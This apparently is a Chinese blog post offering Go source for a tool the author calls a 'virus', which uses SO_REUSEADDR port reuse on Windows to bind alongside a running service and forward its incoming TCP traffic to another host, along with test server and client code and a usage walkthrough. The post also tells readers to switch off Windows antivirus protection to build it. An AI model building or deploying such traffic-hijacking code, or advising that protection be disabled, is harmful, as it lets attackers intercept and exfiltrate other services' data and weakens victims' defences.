通过端口复用直接进行正向tcp代理--win会被识别为病毒
学习项目,代码粗糙。。。编译的时候win会识别代码为病毒,需关闭病毒和威胁防护,参考 https://blog.csdn.net/u_say2what/article/details/134669122
原理是SO_REUSEADDR技术实现端口复用
病毒
package main
import (
"context"
"fmt"
_ "golang.org/x/sys/unix"
"golang.org/x/sys/windows"
"io"
"net"
"os"
"runtime"
"strconv"
"syscall"
"time"
)
var timeout = 1
var lc = net.ListenConfig{
Control: func(network, address string, c syscall.RawConn) error {
var opErr error
if runtime.GOOS == "windows" {
if err := c.Control(func(fd uintptr) {
opErr = windows.SetsockoptInt(windows.Handle(fd), windows.SOL_SOCKET, windows.SO_REUSEADDR, 1)
}); err != nil {
return err
}
} else {
if err := c.Control(func(fd uintptr) {
//opErr = unix.SetsockoptInt(int(fd), unix.SOL_SOCKET, unix.SO_REUSEADDR, 1)
}); err != nil {
return err
}
}
return opErr
},
}
func isIPAddress(ipStr string) bool {
ip := net.ParseIP(ipStr)
return ip != nil
}
func isPort(portStr string) bool {
port, err := strconv.Atoi(portStr)
if err != nil {
return false
}
return port > 0 && port <= 65535
}
// 示例 .\main.exe 192.168.20.0 8080 192.168.252.128 8080
func main() {
lhost := os.Args[1]
lprot := os.Args[2]
rhost := os.Args[3]
rport := os.Args[4]
if !(isIPAddress(lhost) && isPort(lprot) && isIPAddress(rhost) && isPort(rport)) {
fmt.Println("'" + os.Args[0] + "' " + "参数不能被识别")
os.Exit(0)
}
if lhost == "0.0.0.0" || lhost == "127.0.0.1" || lhost == rhost {
fmt.Println("本地地址和远程地址不能为 127.0.0.1,0.0.0.0")
os.Exit(0)
} else if lprot == rport && lhost == rhost {
fmt.Println("参数错误")
os.Exit(0)
}
laddr := fmt.Sprintf("%s:%s", lhost, lprot)
l, err := lc.Listen(context.Background(), "tcp", laddr)
go func() {
time.Sleep(2 * time.Minute)
l.Close()
if timeout == 1 {
os.Exit(0)
}
}()
if err != nil {
fmt.Println("无法监听端口:", err)
return
}
fmt.Printf("开始监听端口 %s,将转发到 %s:%s\n", lprot, rhost, rport)
for {
clientConn, err := l.Accept()
if err != nil {
continue
}
go handleClient(clientConn, rhost, rport)
}
}
func handleClient(clientConn net.Conn, remoteHost, remotePort string) {
// 连接到目标主机
serverConn, err := net.Dial("tcp", remoteHost+":"+remotePort)
if err != nil {
fmt.Println("连接到目标主机时出错:", err)
clientConn.Close()
return
}
defer serverConn.Close()
// 在 goroutine 中进行双向数据传输
done := make(chan struct{})
go copyData(clientConn, serverConn, done)
go copyData(serverConn, clientConn, done)
// 等待任意一个goroutine完成后关闭另一个连接
<-done
clientConn.Close()
<-done
}
func copyData(dst io.Writer, src io.Reader, done chan<- struct{}) {
buf := make([]byte, 4096) // 使用较大的缓冲区,提高性能
_, err := io.CopyBuffer(dst, src, buf)
if err != nil && err != io.EOF {
fmt.Println("数据传输时出错:", err)
}
done <- struct{}{}
}
使用示例
.\main.exe 192.168.110.66 8080 192.168.252.128 8080
程序 本地地址 本地程序端口 目标地址 目标程序端口
#################################################
开始实验,实验阶段没有监听某某软件
新建tcp服务,本机和目标主机上都启动,本机是模拟xxx软件,目标主机是模拟收数据
server
package main
import (
"fmt"
"io"
"net"
)
func main() {
// 设置服务器监听的地址和端口
listenAddr := ":8080"
// 启动监听
listener, err := net.Listen("tcp", listenAddr)
if err != nil {
fmt.Println("Error listening on", listenAddr, ":", err)
return
}
defer listener.Close()
fmt.Println("Server listening on", listenAddr)
// 无限循环接受客户端连接
for {
// Accept 会阻塞等待客户端连接
conn, err := listener.Accept()
if err != nil {
fmt.Println("Error accepting connection:", err)
continue
}
// 处理客户端连接
go handleClient1(conn)
}
}
// handleClient 处理来自客户端的连接
func handleClient1(conn net.Conn) {
defer conn.Close()
// 创建一个缓冲区来读取数据
buf := make([]byte, 4096)
// 循环读取客户端发送的数据
for {
// 读取客户端发送的数据
n, err := conn.Read(buf)
if err != nil {
if err != io.EOF {
fmt.Println("Error reading from connection:", err)
}
break
}
// 输出接收到的消息
fmt.Printf("Received from client: %s\n", buf[:n])
// 将接收到的消息回复给客户端
_, err = conn.Write(buf[:n])
if err != nil {
fmt.Println("Error writing to connection:", err)
break
}
}
}
客户端模拟发消息
client
package main
import (
"fmt"
"net"
"time"
)
func main() {
// 设置服务器地址和端口
serverAddr := "192.168.110.66:8080"
// 连接到服务器
conn, err := net.Dial("tcp", serverAddr)
if err != nil {
fmt.Println("Error dialing:", err)
return
}
defer conn.Close()
fmt.Println("Connected to server at", serverAddr)
// 发送消息的循环
for i := 0; i < 10; i++ {
// 构造要发送的消息
message := fmt.Sprintf("Hello, server! This is message #%d", i+1)
// 发送消息到服务器
_, err = conn.Write([]byte(message))
if err != nil {
fmt.Println("Error writing to connection:", err)
return
}
// 等待服务器回复
response := make([]byte, 4096)
_, err = conn.Read(response)
if err != nil {
fmt.Println("Error reading from connection:", err)
return
}
// 打印服务器的回复
fmt.Println("Received from server:", string(response))
// 休眠1秒,使得消息发送有间隔
time.Sleep(1 * time.Second)
}
}
本地机器,新起3个窗口,
1:病毒程序
.\main.exe 192.168.110.66 8080 192.168.252.128 8080

2:被监听的服务器程序
go run server.go

3:模拟客户端发消息
go run client.go

目标服务器,接收病毒服务器转发的消息,跟server服务器一样的代码就行
go run server.go
效果,可以接收到病毒服务转发来的消息


浙公网安备 33010602011771号